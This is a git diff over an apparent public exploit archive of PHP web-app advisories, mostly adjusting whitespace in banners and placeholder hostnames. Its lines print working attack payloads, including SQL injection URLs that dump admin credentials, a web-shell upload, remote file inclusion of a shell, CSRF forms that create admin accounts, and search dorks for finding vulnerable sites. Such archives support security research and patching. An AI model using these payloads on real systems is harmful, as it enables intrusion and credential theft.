-1,4 +1,4 @@ -ALGERIAN HACKER + ALGERIAN HACKER **********************- NORTH-AFRICA SECURITY TEAM -*********************** [!] WHMCompleteSolution CMS sql Injection Vulnerability @@ -9,9 +9,9 @@ ALGERIAN HACKER [ Software Information ] -[+] Vendor : http://www.siamhostserver/whmcs/ +[+] Vendor : http://www.siamhostserver.com/whmcs/ [+] script : WHMCompleteSolution CMS -[+] Download : http://www.siamhostserver/whmcs/ (sell script) +[+] Download : http://www.siamhostserver.com/whmcs/ (sell script) [+] Vulnerability : php SQL injection [+] Dork :inurl:"weblink_cat_list.php?bcat_id=" diff --git a/platforms/php/webapps/10494.txt b/platforms/php/webapps/10494.txt index 004b999f9..dd7516dd0 100755 --- a/platforms/php/webapps/10494.txt +++ b/platforms/php/webapps/10494.txt @@ -1,4 +1,4 @@ -ALGERIAN HACKER + ALGERIAN HACKER **********************- NORTH-AFRICA SECURITY TEAM -*********************** [!] D-Tendencia Bt 2008 SQL Injection Vulnerability diff --git a/platforms/php/webapps/1050.pl b/platforms/php/webapps/1050.pl index 2ee65ce9a..27d14273d 100755 --- a/platforms/php/webapps/1050.pl +++ b/platforms/php/webapps/1050.pl @@ -27,7 +27,7 @@ if (@ARGV < 2) print " Usage: <T4rg3t> <DIR>\n\n"; print "====================================================\n\n"; print "Examples:\n\n"; - print " xpl.pl www.server / \n"; + print " xpl.pl www.Site.com / \n"; exit(); } diff --git a/platforms/php/webapps/10517.txt b/platforms/php/webapps/10517.txt index 90cce67bc..eb745909b 100755 --- a/platforms/php/webapps/10517.txt +++ b/platforms/php/webapps/10517.txt @@ -1,4 +1,4 @@ -______ __ ______ + ______ __ ______ /\ == \ /\ \ /\ __ \ \ \ __< \ \ \ \ \ \/\ \ \ \_____\ \ \_\ \ \_____\ diff --git a/platforms/php/webapps/10532.txt b/platforms/php/webapps/10532.txt index 0bbc551b1..4407057b6 100755 --- a/platforms/php/webapps/10532.txt +++ b/platforms/php/webapps/10532.txt @@ -25,4 +25,4 @@ Open Flash Chart 2 Beta 1 and Open Flash Chart 2 are vulnerable; other versions The following example URI is available: -http://server/libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?> \ No newline at end of file +http://server/libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?> \ No newline at end of file diff --git a/platforms/php/webapps/10543.txt b/platforms/php/webapps/10543.txt index 7d7e04d99..d5763808e 100755 --- a/platforms/php/webapps/10543.txt +++ b/platforms/php/webapps/10543.txt @@ -1,4 +1,4 @@ -ALGERIAN HACKER + ALGERIAN HACKER **********************- NORTH-AFRICA SECURITY TEAM -*********************** [!] Schweizer NISADA Communication CMS SQL Injection Vulnerability diff --git a/platforms/php/webapps/10567.txt b/platforms/php/webapps/10567.txt index 6eb53c0c7..8df7d4c64 100755 --- a/platforms/php/webapps/10567.txt +++ b/platforms/php/webapps/10567.txt @@ -24,4 +24,4 @@ Write This Code : 'or 1=1/* <======= Now Control Bypassed http://server/advance-biz/demo/login.php -################################################## ######################### \ No newline at end of file +################################################## ######################### \ No newline at end of file diff --git a/platforms/php/webapps/10572.txt b/platforms/php/webapps/10572.txt index 86715b582..e2a055a7a 100755 --- a/platforms/php/webapps/10572.txt +++ b/platforms/php/webapps/10572.txt @@ -17,17 +17,17 @@ Dork : Powered By: 4images 1.7.1 ./Exploit: first search for the admin username : -ex : http://[server]/path/member.php?action=showprofile&user_id=1 +ex : http://[Target.com]/path/member.php?action=showprofile&user_id=1 now we have the admin username now we will find the password :] -ex : http://[server]/path/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%2$ +ex : http://[Target.com]/path/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%2$ admin = admin username Crack the MD5 Hash and Enjoy :) -admin panel path : http://[server]/path/admin +admin panel path : http://[Target.com]/path/admin -----------------------------------------------------------------------------------------------------------------------------$ diff --git a/platforms/php/webapps/10575.txt b/platforms/php/webapps/10575.txt index 72e12195e..26f3c7f47 100755 --- a/platforms/php/webapps/10575.txt +++ b/platforms/php/webapps/10575.txt @@ -8,9 +8,9 @@ A SQL injection exploit is found in Drumbeat CMS. The vulnerability exists in wh Dork: "Powered by Drumbeat" inurl:index02.php -# Code: http://www.server/index02.php?id=-2+UNION+SELECT+ALL+group_concat(email,0x3a,username,0x3a,password)+from+auth_users-- +# Code: http://www.site.com/index02.php?id=-2+UNION+SELECT+ALL+group_concat(email,0x3a,username,0x3a,password)+from+auth_users-- -You can usually replace the http://www.server/ with any site that is vulnerable to SQL injection. +You can usually replace the http://www.site.com/ with any site that is vulnerable to SQL injection. Greetz: Bw0mp and the rest of the people from Incursio ex Subter! diff --git a/platforms/php/webapps/10578.txt b/platforms/php/webapps/10578.txt index feffe0104..5c0bebe52 100755 --- a/platforms/php/webapps/10578.txt +++ b/platforms/php/webapps/10578.txt @@ -24,4 +24,4 @@ http://server/script path/upload/Shell.php # Master Mind sends Greets To : # # The Electronic Bomb , Twi[L]ight , R3D EYE , Doom[PS] , Mr.BoOoO , AND ALL MEMBERS :) # # # -############################################################################ \ No newline at end of file +############################################################################ \ No newline at end of file diff --git a/platforms/php/webapps/10584.txt b/platforms/php/webapps/10584.txt index 26d0f8e30..4dda5fd86 100755 --- a/platforms/php/webapps/10584.txt +++ b/platforms/php/webapps/10584.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/10585.txt b/platforms/php/webapps/10585.txt index 0b4890b69..7673294a9 100755 --- a/platforms/php/webapps/10585.txt +++ b/platforms/php/webapps/10585.txt @@ -29,4 +29,4 @@ id=xek' union select null,concat_ws(0x3a,username,password),null,null,n ull,nul //Show post $get_post = mysql_query("SELECT*FROM post WHERE post_id = '$id' AND status = 'published'"); $post_result = mysql_num_rows($get_post); -$post = mysql_fetch_array($get_post); \ No newline at end of file +$post = mysql_fetch_array($get_post); \ No newline at end of file diff --git a/platforms/php/webapps/10597.txt b/platforms/php/webapps/10597.txt index bead48240..054a4bda9 100755 --- a/platforms/php/webapps/10597.txt +++ b/platforms/php/webapps/10597.txt @@ -17,7 +17,7 @@ Dork : "Powered by Active PHP Bookmarks v1.3" inurl:.view_group.php?id= first search for the admin username : ex : http://server/path/view_group.php?id=-4 -ex : http://[server]/path/view_group.php?id=-4+union+select+0,1,concat(username,0x3a,password),3,4,5,6,7+from+apb_users-- +ex : http://[Target.com]/path/view_group.php?id=-4+union+select+0,1,concat(username,0x3a,password),3,4,5,6,7+from+apb_users-- admin panel path : http://server/path/cookie_auth.php?action=cookie_login diff --git a/platforms/php/webapps/10609.txt b/platforms/php/webapps/10609.txt index bcd360b8c..85784d646 100755 --- a/platforms/php/webapps/10609.txt +++ b/platforms/php/webapps/10609.txt @@ -16,6 +16,6 @@ Aurora CMS suffers a remote SQL injection exploit in content.php. The type is UNION statement SQL injection. -# Code: http://www.server/content.php?id=-5+UNION+SELECT+ALL+1,2,3,4,group_concat(Username,0x3a,Password)+from+Users-- +# Code: http://www.site.com/content.php?id=-5+UNION+SELECT+ALL+1,2,3,4,group_concat(Username,0x3a,Password)+from+Users-- # Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation! \ No newline at end of file diff --git a/platforms/php/webapps/10612.txt b/platforms/php/webapps/10612.txt index a2b5defac..ba8147041 100755 --- a/platforms/php/webapps/10612.txt +++ b/platforms/php/webapps/10612.txt @@ -19,7 +19,7 @@ | |Exploit : | -| 1- go to www.server/path/adminscripts/uploadfile.php +| 1- go to www.site.com/path/adminscripts/uploadfile.php | 2- select your shell and upload | 3- the script will show the shell link after uploading | diff --git a/platforms/php/webapps/10621.txt b/platforms/php/webapps/10621.txt index 74c9c5d85..44ef8b107 100755 --- a/platforms/php/webapps/10621.txt +++ b/platforms/php/webapps/10621.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/10625.txt b/platforms/php/webapps/10625.txt index b53901301..668ba4956 100755 --- a/platforms/php/webapps/10625.txt +++ b/platforms/php/webapps/10625.txt @@ -26,4 +26,4 @@ path/index.php?view=longview&catid=null/**/union/**/select/**/concat(username,0x3a,password),2/**/from/**/jos_users&Itemid=107&option=com_jeemaarticlecollection -< -- bug code end of -- > \ No newline at end of file +< -- bug code end of -- > \ No newline at end of file diff --git a/platforms/php/webapps/10626.txt b/platforms/php/webapps/10626.txt index c17601521..4e5309ab3 100755 --- a/platforms/php/webapps/10626.txt +++ b/platforms/php/webapps/10626.txt @@ -14,7 +14,7 @@ We can access the admin directory of Jax Guestbook 3.50 to edit the admin settings. -# Code: http://www.server/admin/gaestebuch/admin/guestbook.admin.php?action=settings&guestbook_id=0&language=english&gmt_ofs=0 <German> -http://www.server/admin/guestbook/admin/guestbook.admin.php?action=settings&guestbook_id=0&language=english&gmt_ofs=0 <English> +# Code: http://www.site.com/admin/gaestebuch/admin/guestbook.admin.php?action=settings&guestbook_id=0&language=english&gmt_ofs=0 <German> +http://www.site.com/admin/guestbook/admin/guestbook.admin.php?action=settings&guestbook_id=0&language=english&gmt_ofs=0 <English> # Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation! diff --git a/platforms/php/webapps/10629.txt b/platforms/php/webapps/10629.txt index 2aebe3a6e..b0527650b 100755 --- a/platforms/php/webapps/10629.txt +++ b/platforms/php/webapps/10629.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/10632.pl b/platforms/php/webapps/10632.pl index 79118bd18..16baf8eb6 100755 --- a/platforms/php/webapps/10632.pl +++ b/platforms/php/webapps/10632.pl @@ -20,7 +20,7 @@ Strike ----------------------------------------------- }; if (@ARGV < 3) { - print "Usage: ano.pl [url] [user id] [Announce CatID] \nExample: ano.pl server 1 1\n"; + print "Usage: ano.pl [url] [user id] [Announce CatID] \nExample: ano.pl www.target.com 1 1\n"; exit; } diff --git a/platforms/php/webapps/10633.txt b/platforms/php/webapps/10633.txt index 7a0ed5aaf..a8ad10f36 100755 --- a/platforms/php/webapps/10633.txt +++ b/platforms/php/webapps/10633.txt @@ -15,8 +15,8 @@ $include_dir = "$searchModuleFolder/include"; include ("$include_dir/commonfuncs.php"); ################### Exploit: ############################### -www.server/path/cms/modules/search/search.php?moduleFolder=[Evil<http://www.server/path/cms/modules/search/search.php?moduleFolder=[Evil> Script] -www.server/path/cms/modules/search/search.php?sourceFolder=[Evil<http://www.server/path/cms/modules/search/search.php?sourceFolder=[Evil> Script] +www.site.com/path/cms/modules/search/search.php?moduleFolder=[Evil<http://www.site.com/path/cms/modules/search/search.php?moduleFolder=[Evil> Script] +www.site.com/path/cms/modules/search/search.php?sourceFolder=[Evil<http://www.site.com/path/cms/modules/search/search.php?sourceFolder=[Evil> Script] ############################################################ The End \ No newline at end of file diff --git a/platforms/php/webapps/10665.txt b/platforms/php/webapps/10665.txt index 59b56b465..ad057e570 100755 --- a/platforms/php/webapps/10665.txt +++ b/platforms/php/webapps/10665.txt @@ -13,5 +13,5 @@ Jevonweb Guestbook suffers a remote admin access exploit in setup.php. Solution: Add setup.php to the webhost's .htaccess file. -# Code: http://www.server/cp/Scripts/PHP/Guestbook/read.txt +# Code: http://www.site.com/cp/Scripts/PHP/Guestbook/read.txt # Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation! \ No newline at end of file diff --git a/platforms/php/webapps/10666.txt b/platforms/php/webapps/10666.txt index edca70184..dd8cb5703 100755 --- a/platforms/php/webapps/10666.txt +++ b/platforms/php/webapps/10666.txt @@ -13,7 +13,7 @@ Solution(s): Add guestbook-admin.php to your .htaccess file. # Google Dork: "Copyright (c) 2004-2006 by Simple PHP Guestbook" -# Code: http://www.server/guestbook-admin.php +# Code: http://www.site.com/guestbook-admin.php ________________________________ Get Windows 7 for only $39.99-CDN College or University students only. This offer ends Jan 3-upgrade now!<http://go.microsoft.com/?linkid=9691814> diff --git a/platforms/php/webapps/10671.txt b/platforms/php/webapps/10671.txt index f1c8be0f5..6855983fc 100755 --- a/platforms/php/webapps/10671.txt +++ b/platforms/php/webapps/10671.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/1068.pl b/platforms/php/webapps/1068.pl index 90646cfdc..f39812bef 100755 --- a/platforms/php/webapps/1068.pl +++ b/platforms/php/webapps/1068.pl @@ -1,4 +1,4 @@ -#!/usr/bin/perl + #!/usr/bin/perl ###################################################### # D A R K A S S A S S I N S C R E W 2 0 0 5 # ###################################################### diff --git a/platforms/php/webapps/10717.txt b/platforms/php/webapps/10717.txt index f8f344463..6b4d607e3 100755 --- a/platforms/php/webapps/10717.txt +++ b/platforms/php/webapps/10717.txt @@ -26,7 +26,7 @@ Vuln file: index.php Exploit: -target: ?dbhcms_core_dir=http://server/shell.txt%00 +target: ?dbhcms_core_dir=http://site.com/shell.txt%00 / * Need register_globals = ON and allow_url_include = ON without a second yuzaetsya as LFI * / diff --git a/platforms/php/webapps/10727.txt b/platforms/php/webapps/10727.txt index 20a888b10..0f2ddc989 100755 --- a/platforms/php/webapps/10727.txt +++ b/platforms/php/webapps/10727.txt @@ -1,4 +1,4 @@ -####################################################################### + ####################################################################### # # ### Smart PHP Uploader 1.0 Remote File Upload Vulnerability ### # # diff --git a/platforms/php/webapps/10729.txt b/platforms/php/webapps/10729.txt index 6ca4d7e03..76eed8552 100755 --- a/platforms/php/webapps/10729.txt +++ b/platforms/php/webapps/10729.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo--------------------------- diff --git a/platforms/php/webapps/10732.txt b/platforms/php/webapps/10732.txt index 7580937eb..8d0c4f4e2 100755 --- a/platforms/php/webapps/10732.txt +++ b/platforms/php/webapps/10732.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/10736.txt b/platforms/php/webapps/10736.txt index 5ae10a83a..d686968f4 100755 --- a/platforms/php/webapps/10736.txt +++ b/platforms/php/webapps/10736.txt @@ -1,4 +1,4 @@ -####################################################################### + ####################################################################### # # ### lineaCMS Cross Site Scripting Vulnerability ### # # diff --git a/platforms/php/webapps/10741.txt b/platforms/php/webapps/10741.txt index 02574a27d..004dc73d6 100755 --- a/platforms/php/webapps/10741.txt +++ b/platforms/php/webapps/10741.txt @@ -26,5 +26,5 @@ include $CMS_ROOT."core/classes.php"; //Diffrent Classes template(); //call upon the template function ?> ################### Exploit: ############################### -www.server/path/core/core.php?CMS_ROOT=[Evil<http://www.server/path/core/core.php?CMS_ROOT=[Evil> Script] -www.server/path/core/includes.php?CMS_ROOT=[Evil<http://www.server/path/core/includes.php?CMS_ROOT=[Evil> Script] \ No newline at end of file +www.site.com/path/core/core.php?CMS_ROOT=[Evil<http://www.site.com/path/core/core.php?CMS_ROOT=[Evil> Script] +www.site.com/path/core/includes.php?CMS_ROOT=[Evil<http://www.site.com/path/core/includes.php?CMS_ROOT=[Evil> Script] \ No newline at end of file diff --git a/platforms/php/webapps/10760.txt b/platforms/php/webapps/10760.txt index 761da11a0..da7532355 100755 --- a/platforms/php/webapps/10760.txt +++ b/platforms/php/webapps/10760.txt @@ -9,10 +9,10 @@ dork: inurl:index.php?option=com_calendario exp : -http://server/index.php?option=com_calendario&task=detalhes&Itemid=88&id=297+and+1=1 true +http://www.target.com/index.php?option=com_calendario&task=detalhes&Itemid=88&id=297+and+1=1 true -http://server/index.php?option=com_calendario&task=detalhes&Itemid=88&id=297+and+1=0 false +http://www.target.com/index.php?option=com_calendario&task=detalhes&Itemid=88&id=297+and+1=0 false enjoy ;) diff --git a/platforms/php/webapps/10779.txt b/platforms/php/webapps/10779.txt index dbb46c82f..b22b45bc6 100755 --- a/platforms/php/webapps/10779.txt +++ b/platforms/php/webapps/10779.txt @@ -5,7 +5,7 @@ <html> <title>DirectAdmin v1.34.0 XSRF Create Administrator Vulnerability</title> <!--!Set You'r victim By SarBoT511 !--> -<form name="reseller" action="http://server:2222/CMD_ACCOUNT_ADMIN" method="post"> +<form name="reseller" action="http://site.com:2222/CMD_ACCOUNT_ADMIN" method="post"> <input type="hidden" name=action value=create> <input type="hidden" name="username" value="sec-r1z"></br> <input type="hidden" name="email" value="r1z@sec-r1z.com"></br> diff --git a/platforms/php/webapps/10781.txt b/platforms/php/webapps/10781.txt index 5d2b7555a..948c80df2 100755 --- a/platforms/php/webapps/10781.txt +++ b/platforms/php/webapps/10781.txt @@ -1,4 +1,4 @@ -..:::::::::.. + ..:::::::::.. ..:::aad8888888baa:::.. .::::d:?88888888888?::8b::::. .:::d8888:?88888888??a888888b:::. diff --git a/platforms/php/webapps/10793.txt b/platforms/php/webapps/10793.txt index e900f1cdf..28800ddaa 100755 --- a/platforms/php/webapps/10793.txt +++ b/platforms/php/webapps/10793.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo------------------- | RoseOnlineCMS <= 3 B1 (admin) Local File Inclusion | diff --git a/platforms/php/webapps/10803.txt b/platforms/php/webapps/10803.txt index fca9a00a4..8b5baad73 100755 --- a/platforms/php/webapps/10803.txt +++ b/platforms/php/webapps/10803.txt @@ -1,4 +1,4 @@ -..:::::::::.. + ..:::::::::.. ..:::aad8888888baa:::.. .::::d:?88888888888?::8b::::. .:::d8888:?88888888??a888888b:::. diff --git a/platforms/php/webapps/10828.txt b/platforms/php/webapps/10828.txt index 77c84bc56..f85d23fdc 100755 --- a/platforms/php/webapps/10828.txt +++ b/platforms/php/webapps/10828.txt @@ -15,7 +15,7 @@ ___________________________________ ## Example : -Go to url : http://server/vb/bnnr.php<http://server/vb/bnnr.php> +Go to url : http://server/vb/bnnr.php<http://target.com/vb/bnnr.php> Exploit in the input "user name" blind injection diff --git a/platforms/php/webapps/1083.pl b/platforms/php/webapps/1083.pl index 5d5e1f1d1..478b7461d 100755 --- a/platforms/php/webapps/1083.pl +++ b/platforms/php/webapps/1083.pl @@ -53,7 +53,7 @@ if ($ARGV[0] && $ARGV[1]) } else { print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n"; - print "Example: perl xml.pl server /script/xmlrpc.php\n"; + print "Example: perl xml.pl target.com /script/xmlrpc.php\n"; exit; } diff --git a/platforms/php/webapps/10835.txt b/platforms/php/webapps/10835.txt index e3fd0bed5..42b8a36e3 100755 --- a/platforms/php/webapps/10835.txt +++ b/platforms/php/webapps/10835.txt @@ -19,4 +19,4 @@ Solution: Add calendar.admin.php to your .htaccess file. # POC: -http://www.server/kalender/admin/calendar.admin.php?cal_id=0&language=english \ No newline at end of file +http://www.site.com/kalender/admin/calendar.admin.php?cal_id=0&language=english \ No newline at end of file diff --git a/platforms/php/webapps/10841.pl b/platforms/php/webapps/10841.pl index bdf671a00..6311bb6d7 100755 --- a/platforms/php/webapps/10841.pl +++ b/platforms/php/webapps/10841.pl @@ -42,7 +42,7 @@ print " ======================================================================== | pL-PHP <= beta 0.9 Local File Include Exploit | Usage: gorontalo.pl [target] [path] [apachepath] -| Example: gorontalo.pl server /pages/ ../logs/error.log +| Example: gorontalo.pl target.com /pages/ ../logs/error.log | coded by : cr4wl3r ======================================================================== "; diff --git a/platforms/php/webapps/10844.txt b/platforms/php/webapps/10844.txt index 0664797a7..0e1eba9bb 100755 --- a/platforms/php/webapps/10844.txt +++ b/platforms/php/webapps/10844.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/10847.txt b/platforms/php/webapps/10847.txt index 7a5d11728..d0cd5726e 100755 --- a/platforms/php/webapps/10847.txt +++ b/platforms/php/webapps/10847.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/10876.txt b/platforms/php/webapps/10876.txt index 1743b16cd..8d7812899 100755 --- a/platforms/php/webapps/10876.txt +++ b/platforms/php/webapps/10876.txt @@ -19,7 +19,7 @@ Exploit: -http://www.server/Script/editquiz.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8-- +http://www.site.com/Script/editquiz.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8-- IQ-SecuritY FoRuM diff --git a/platforms/php/webapps/1088.pl b/platforms/php/webapps/1088.pl index 2a99bb638..889ae9b30 100755 --- a/platforms/php/webapps/1088.pl +++ b/platforms/php/webapps/1088.pl @@ -128,7 +128,7 @@ sub help { print "\t--proxy (http), --proxy_user, --proxy_pass\n"; print "\t--debug\n"; print "\nExample\n"; - print "bash# $0 --host=http://server/?q=comment/reply/1\n"; + print "bash# $0 --host=http://www.server.com/?q=comment/reply/1\n"; print "\n"; exit(1); } diff --git a/platforms/php/webapps/10882.txt b/platforms/php/webapps/10882.txt index 5dac680d0..160b3a697 100755 --- a/platforms/php/webapps/10882.txt +++ b/platforms/php/webapps/10882.txt @@ -34,7 +34,7 @@ PoC 2) Xsrf POC +++++++++++++++++ -<form name="staffform" id="staffform" action="http://server/path/admin/index.php?_m=core&_a=editstaff&staffid=1" method="POST"> +<form name="staffform" id="staffform" action="http://site.com/path/admin/index.php?_m=core&_a=editstaff&staffid=1" method="POST"> <body onload="document.forms.staffform.submit();"> <!-- Name --> diff --git a/platforms/php/webapps/10889.txt b/platforms/php/webapps/10889.txt index ec64d1c8c..5d645d393 100755 --- a/platforms/php/webapps/10889.txt +++ b/platforms/php/webapps/10889.txt @@ -1,4 +1,4 @@ -Script : DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability + Script : DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability Script site : http://cms.dsinternal.com/Home diff --git a/platforms/php/webapps/10897.txt b/platforms/php/webapps/10897.txt index 508de2ead..8134073cf 100755 --- a/platforms/php/webapps/10897.txt +++ b/platforms/php/webapps/10897.txt @@ -31,15 +31,15 @@ The CMS named WD-CMS developed by Web Diamond LTD has multiple vulnerabilities. Vulnerabilities: XSS and remote file access. -http://www.server/index.php?l=eng&mode=%3Cscript%3Ealert%28%22XSS%20by%20Sora%22%29%3C/script%3E +http://www.site.com/index.php?l=eng&mode=%3Cscript%3Ealert%28%22XSS%20by%20Sora%22%29%3C/script%3E # Code/Proof of Concept (PoC): XSS Proof of Concept: -http://www.server/index.php?l=eng&mode=%3Cscript%3Ealert%28%22XSS%20by%20Sora%22%29%3C/script%3E +http://www.site.com/index.php?l=eng&mode=%3Cscript%3Ealert%28%22XSS%20by%20Sora%22%29%3C/script%3E Remote File Access Proof of Concept: -http://www.server/index.php?l=eng&mode=./index (as it adds .php at the end) +http://www.site.com/index.php?l=eng&mode=./index (as it adds .php at the end) # Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, Revelation, and Max Mafiotu! diff --git a/platforms/php/webapps/10899.txt b/platforms/php/webapps/10899.txt index a9fe47e1b..8a6d508d6 100755 --- a/platforms/php/webapps/10899.txt +++ b/platforms/php/webapps/10899.txt @@ -1,4 +1,4 @@ -Script : XlentCMS V1.0.4 (downloads.php?cat) SQL Injection Vulnerability + Script : XlentCMS V1.0.4 (downloads.php?cat) SQL Injection Vulnerability Script site : http://sphere.xlentprojects.se/portal.php diff --git a/platforms/php/webapps/10930.txt b/platforms/php/webapps/10930.txt index 601e0d9b0..cfff0b874 100755 --- a/platforms/php/webapps/10930.txt +++ b/platforms/php/webapps/10930.txt @@ -11,6 +11,6 @@ Left 4 Dead Stats suffers from a remote SQL injection vulnerability in player.ph # VULNERABILITY SOLUTION: The owner of the website can sanitize the database inputs. -# Proof of Concept: http://www.server/l4dstats/player.php?steamid=' +# Proof of Concept: http://www.site.com/l4dstats/player.php?steamid=' # Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, Revelation, and Max Mafiotu. diff --git a/platforms/php/webapps/10931.txt b/platforms/php/webapps/10931.txt index 66eee488e..013d9641c 100755 --- a/platforms/php/webapps/10931.txt +++ b/platforms/php/webapps/10931.txt @@ -17,13 +17,13 @@ The exploit : -1- go http://server/script/X7Chat/install.php +1- go http://site.com/script/X7Chat/install.php 2- Now you are in X7 Chat Install step 1 click continue 3- Now you are in X7 Chat Install step 2 click also continue 4- Now you are in X7 Chat Install step 3 . - change url from http://server/script/x7chat/install.php?step=3 to http://server/script/x7chat/install.php?step=4 + change url from http://site.com/script/x7chat/install.php?step=3 to http://site.com/script/x7chat/install.php?step=4 5- now add user name and password -6- Go login page http://server/script/X7Chat/index.php +6- Go login page http://site.com/script/X7Chat/index.php Good luck and don't make something bad . diff --git a/platforms/php/webapps/10945.php b/platforms/php/webapps/10945.php index d93f98e48..72e56b785 100755 --- a/platforms/php/webapps/10945.php +++ b/platforms/php/webapps/10945.php @@ -12,7 +12,7 @@ print_r(' @~~=Bug :) : com_bfsurvey_pro (catid) Blind SQL Injection Exploit -@~~=WARNING! : : php fl0rix.php "http://www.server/index.php?option=com_bfsurvey_pro&view=bfsurveypro&catid=53" +@~~=WARNING! : : php fl0rix.php "http://www.site.com/index.php?option=com_bfsurvey_pro&view=bfsurveypro&catid=53" ---------------Ooooo------------------------- ( ) ooooO ) / diff --git a/platforms/php/webapps/10978.txt b/platforms/php/webapps/10978.txt index c0446e5ce..bbfe4abe0 100755 --- a/platforms/php/webapps/10978.txt +++ b/platforms/php/webapps/10978.txt @@ -17,4 +17,4 @@ Elite Gaming Ladders v3.0 suffers a remote SQL injection exploit (stats.php) in Sanitize the database inputs or block the bad words. (UNION SELECT, UNION SELECT ALL, /*, --) # Proof of Concept: -http://www.server/stats.php?account=627' \ No newline at end of file +http://www.site.com/stats.php?account=627' \ No newline at end of file diff --git a/platforms/php/webapps/11003.txt b/platforms/php/webapps/11003.txt index b3e0df465..d1d2e23a9 100755 --- a/platforms/php/webapps/11003.txt +++ b/platforms/php/webapps/11003.txt @@ -8,7 +8,7 @@ # Code : Exploit : -http://server/path/smarty.php?cwd=[shell.txt]?%00 +http://site.com/path/smarty.php?cwd=[shell.txt]?%00 Example : diff --git a/platforms/php/webapps/11013.txt b/platforms/php/webapps/11013.txt index 5a703197a..ff8a349aa 100755 --- a/platforms/php/webapps/11013.txt +++ b/platforms/php/webapps/11013.txt @@ -34,7 +34,7 @@ else ------------------------------- Exploit : - http://server/path/header.php?header.php?lang=[LFI] + http://site.com/path/header.php?header.php?lang=[LFI] Sample ( Tested on a windows box) diff --git a/platforms/php/webapps/11026.php b/platforms/php/webapps/11026.php index b793aa5f5..b56ece8f2 100755 --- a/platforms/php/webapps/11026.php +++ b/platforms/php/webapps/11026.php @@ -14,7 +14,7 @@ print_r(' @~~=Bug : com_jembed (catid) Blind SQL Injection Exploit -@~~=WARNING! : : php file.php "http://www.server/index.php?option=com_jembed&task=summary&catid=99" +@~~=WARNING! : : php file.php "http://www.site.com/index.php?option=com_jembed&task=summary&catid=99" ---------------Ooooo------------------------- ( ) ooooO ) / diff --git a/platforms/php/webapps/11028.txt b/platforms/php/webapps/11028.txt index 4a912f5b9..c3415b3b8 100755 --- a/platforms/php/webapps/11028.txt +++ b/platforms/php/webapps/11028.txt @@ -25,3 +25,4 @@ http://localhost/docebo/index.php?modname=../../../../../../../boot.ini%00&op=lo # Note : Proud to be a Sri Lankan # Me : Sri Lankan Hacker ######################################## + \ No newline at end of file diff --git a/platforms/php/webapps/11035.txt b/platforms/php/webapps/11035.txt index 88441859d..5a2fc4954 100755 --- a/platforms/php/webapps/11035.txt +++ b/platforms/php/webapps/11035.txt @@ -20,11 +20,11 @@ TRUE(+) -http://server/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=1 +http://site.com/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=1 FALSE(-) -http://server/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=0 +http://site.com/kids/index.php?option=com_king&Itemid=0&task=show&id_k=13 and 1=0 # Bug Fix Advice : Zararli karakterler filtrelenmelidir. diff --git a/platforms/php/webapps/11036.txt b/platforms/php/webapps/11036.txt index 